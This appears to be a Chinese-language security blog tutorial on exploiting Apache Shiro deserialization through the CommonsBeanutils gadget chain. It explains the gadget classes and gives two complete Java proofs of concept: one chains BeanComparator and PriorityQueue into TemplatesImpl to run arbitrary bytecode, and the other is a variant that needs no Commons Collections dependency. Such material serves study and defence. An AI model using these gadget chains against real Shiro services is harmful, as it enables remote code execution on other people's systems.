shiro反序列化

0.前置知识

JavaBean

如果一个class满足以下条件

1
2
若干private实例字段;
通过public方法来读写实例字段。

例如

1
2
3
4
5
6
7
8
9
10
11
12
public class bean {
private String name;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

那么这种class被称为JavaBean

Apache Commons Beanutils

是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法

BeanUtils:主要提供了对于 JavaBean 进行各种操作,比如对象,属性复制等等,自动转换数据类型。
PropertyUtils:用处大致与 BeanUtils 相同,但是如果类型不能自动转换会抛异常。
CollectionUtils :集合处理类,集合类型转化,取交集、并集等方法。
ConvertUtils:数据类型转换类,BeanUtils 的自动类型转换就要到了它。

PropertyUtils

提供了一个方法 PropertyUtils.getProperty,可以通过类和类里面成员的名字去直接调用javabean的getter方法

1.CommonsBeanutils

在CommonsBeanutils包里面存在了一个类BeanComparator,然后给存在一个方法compare

1
2
3
4
5
6
7
8
9
10
11
12
13
public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (Exception var5) {
throw new ClassCastException(var5.toString());
}
}
}

可以看到调用了这个getProperty方法,可以调用一个getter方法

在TemplatesImpl里面存在一个get方法getOutputProperties()

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

会触发newnewTransformer方法,可以执行任意字节码

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public class shiroCB1 {
public static void main(String[] args) throws Exception {
//创建TemplateImpl
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\CC\\hello.class"));//加载恶意字节码
byte[][] codes = {code};
bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
//实例化优先队列
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class c = priorityQueue.getClass();
Field comparatorField = c.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,beanComparator);
//通过反射强制将优先队列内的两个正常类转换成恶意类
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

调试分析

首先触发了PriorityQueue的readobject方法

调试下来,然后触发compare

image-20240129153205536

然后就是常规的任意字节码执行

2.serialVersionUID

在两个不同的版本的库里面如果都存在同一个类,可是类的方法和属性发生了变化,导致不能兼容出现隐患。因此java在序列化的时候会计算出一个serialVersionUID,在反序列化的时候,根据当前的环境计算出一个serialVersionUID值,如果和数据流中的serialVersionUID不相同,就不会继续序列化下去抛出

3.CommonsBeanutils无依赖

当我们没有传入BeanComparator的参数的时候,默认情况下调用的是org.apache.commons.collections.comparators.ComparableComparator,

image-20240129164439208

由于有些shiro中没有添加CC的依赖,不存在ComparableComparator,所以我们普通的链子是不能直接完成rce的,我们需要在寻找一个不依赖CC的类使用。

在java.lang.String类下面存在一个类CaseInsensitiveComparator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private static class CaseInsensitiveComparator
implements Comparator<String>, java.io.Serializable {
// use serialVersionUID from JDK 1.2.2 for interoperability
private static final long serialVersionUID = 8575799808933029326L;

public int compare(String s1, String s2) {
int n1 = s1.length();
int n2 = s2.length();
int min = Math.min(n1, n2);
for (int i = 0; i < min; i++) {
char c1 = s1.charAt(i);
char c2 = s2.charAt(i);
if (c1 != c2) {
c1 = Character.toUpperCase(c1);
c2 = Character.toUpperCase(c2);
if (c1 != c2) {
c1 = Character.toLowerCase(c1);
c2 = Character.toLowerCase(c2);
if (c1 != c2) {
// No overflow because of numeric promotion
return c1 - c2;
}
}
}
}
return n1 - n2;
}

我们可以利用他传递链子

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public class shiroCB {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\CC\\hello.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

final BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
// TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

final PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);
priorityQueue.add("1");
priorityQueue.add("1");

Field compare = beanComparator.getClass().getDeclaredField("property");
compare.setAccessible(true);
compare.set(beanComparator,"outputProperties");

Field property = priorityQueue.getClass().getDeclaredField("queue");
property.setAccessible(true);
property.set(priorityQueue,new Object[]{templates,templates});

serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

4.CommonsCollections

java反序列化_CC链里面已经讲述过了,这里不细说